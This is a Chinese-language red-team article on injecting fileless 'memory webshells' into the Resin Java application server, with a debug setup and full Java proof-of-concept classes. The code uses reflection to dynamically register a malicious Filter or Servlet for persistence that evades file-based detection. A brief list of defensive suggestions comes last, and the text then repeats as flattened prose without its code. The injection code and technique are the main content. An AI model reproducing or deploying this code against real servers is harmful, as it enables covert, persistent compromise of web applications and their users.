Resin内存马逆袭之路
字数 1218 2025-08-26 22:11:35

Resin内存马技术深入解析与实现

前言

随着红蓝对抗的日益激烈,传统的Webshell文件免杀技术已难以应对蓝队的检测。内存马作为一种无文件Webshell技术,因其隐蔽性高、难以检测的特点,成为红队研究的热点。本文详细解析Resin应用服务器内存马技术,包括Filter和Servlet两种实现方式。

Resin简介

Resin是CAUCHO公司开发的Application Server,特点包括:

  • 支持Servlet和JSP引擎
  • 高性能
  • 可与Apache、IIS等WEB服务器协同工作
  • 支持负载均衡

调试环境搭建

所需工具

  • IDEA: 2022.2
  • Resin: 4.0.58
  • JDK: JDK8u261

搭建步骤

  1. IDEA安装Resin插件
  2. 创建Resin项目
  3. 生成war包
  4. 导入resin/lib库
  5. 修改resin/conf/resin.xml中的<web-app id="/" root-directory="绝对路径"/>
  6. 启动调试环境

内存马实现原理

核心思路

  1. 获取当前请求的上下文对象
  2. 动态注册恶意Filter或Servlet
  3. 通过反射绕过访问限制

Filter内存马实现

获取ServletRequest对象

ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
    .loadClass("com.caucho.server.dispatch.ServletInvocation")
    .getMethod("getContextRequest").invoke(null);

获取WebApp对象

WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);

Resin Filter管理结构

  • _filterManager: 管理所有Filter
    • _filters: 以Map形式存储FilterConfigImpl对象
    • _urlPatterns: 存储Filter名和对应URL
  • _filterMap: 以List形式存储FilterMapping对象

关键反射代码

// 获取_filtermanager
Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");
filtermanager_field.setAccessible(true);
FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);

// 获取_filters
Field filters_field = filterManager.getClass().getDeclaredField("_filters");
filters_field.setAccessible(true);
HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);

Filter注册POC

public class TestFilter extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) {
        String filtername = "FilterShell";
        String url = "/filter";
        Class clzz;
        try {
            // 获取request对象
            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
                .loadClass("com.caucho.server.dispatch.ServletInvocation")
                .getMethod("getContextRequest").invoke(null);
            
            // 获取webapp
            WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
            
            clzz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
            
            FilterMapping filterMapping = new FilterMapping();
            filterMapping.setFilterClass(clzz.getName());
            filterMapping.setFilterName(filtername);
            FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
            urlPattern.addText(url);
            webApp.addFilterMapping(filterMapping);
            
            res.getWriter().write("Resin Filter Inject Success!!");
        } catch (Exception ignored) {}
    }
}

Servlet内存马实现

Servlet管理结构

  • _serlvetName: Servlet名称
  • _servletClassName: Servlet类名
  • _servletClass: Servlet类
  • _urlPatterns: URL匹配模式

Servlet注册POC

public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
        String servletname = "ServletShell";
        String url = "/servlet";
        Class clazz;
        try {
            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
                .loadClass("com.caucho.server.dispatch.ServletInvocation")
                .getMethod("getContextRequest").invoke(null);
            
            WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
            
            ServletMapping servletMapping = new ServletMapping();
            servletMapping.addURLPattern(url);
            servletMapping.setServletName(servletname);
            clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
            servletMapping.setServletClass(clazz.getName());
            webApp.addServletMapping(servletMapping);
            
            res.getWriter().write("Resin Servlet Inject Success!!");
        } catch (Exception ignored) {}
    }
}

关键技术点

  1. 上下文获取:通过ServletInvocation.getContextRequest()获取当前请求对象
  2. WebApp转换:将ServletRequest转换为WebApp对象
  3. 反射运用:通过反射访问私有字段和方法
  4. 动态注册:利用Resin的API动态添加Filter或Servlet映射

防御建议

  1. 监控Resin中动态添加的Filter和Servlet
  2. 检查_filterManager_filterMap的异常修改
  3. 限制反射调用权限
  4. 部署RASP解决方案检测内存马行为

总结

本文详细解析了Resin内存马的实现原理和技术细节,包括Filter和Servlet两种实现方式。通过反射和Resin内部API的巧妙运用,攻击者可以在不落地文件的情况下实现持久化控制。蓝队需要深入了解这些技术原理,才能有效防御此类攻击。

Resin内存马技术深入解析与实现 前言 随着红蓝对抗的日益激烈,传统的Webshell文件免杀技术已难以应对蓝队的检测。内存马作为一种无文件Webshell技术,因其隐蔽性高、难以检测的特点,成为红队研究的热点。本文详细解析Resin应用服务器内存马技术,包括Filter和Servlet两种实现方式。 Resin简介 Resin是CAUCHO公司开发的Application Server,特点包括: 支持Servlet和JSP引擎 高性能 可与Apache、IIS等WEB服务器协同工作 支持负载均衡 调试环境搭建 所需工具 IDEA: 2022.2 Resin: 4.0.58 JDK: JDK8u261 搭建步骤 IDEA安装Resin插件 创建Resin项目 生成war包 导入resin/lib库 修改resin/conf/resin.xml中的 <web-app id="/" root-directory="绝对路径"/> 启动调试环境 内存马实现原理 核心思路 获取当前请求的上下文对象 动态注册恶意Filter或Servlet 通过反射绕过访问限制 Filter内存马实现 获取ServletRequest对象 获取WebApp对象 Resin Filter管理结构 _filterManager : 管理所有Filter _filters : 以Map形式存储FilterConfigImpl对象 _urlPatterns : 存储Filter名和对应URL _filterMap : 以List形式存储FilterMapping对象 关键反射代码 Filter注册POC Servlet内存马实现 Servlet管理结构 _serlvetName : Servlet名称 _servletClassName : Servlet类名 _servletClass : Servlet类 _urlPatterns : URL匹配模式 Servlet注册POC 关键技术点 上下文获取 :通过 ServletInvocation.getContextRequest() 获取当前请求对象 WebApp转换 :将ServletRequest转换为WebApp对象 反射运用 :通过反射访问私有字段和方法 动态注册 :利用Resin的API动态添加Filter或Servlet映射 防御建议 监控Resin中动态添加的Filter和Servlet 检查 _filterManager 和 _filterMap 的异常修改 限制反射调用权限 部署RASP解决方案检测内存马行为 总结 本文详细解析了Resin内存马的实现原理和技术细节,包括Filter和Servlet两种实现方式。通过反射和Resin内部API的巧妙运用,攻击者可以在不落地文件的情况下实现持久化控制。蓝队需要深入了解这些技术原理,才能有效防御此类攻击。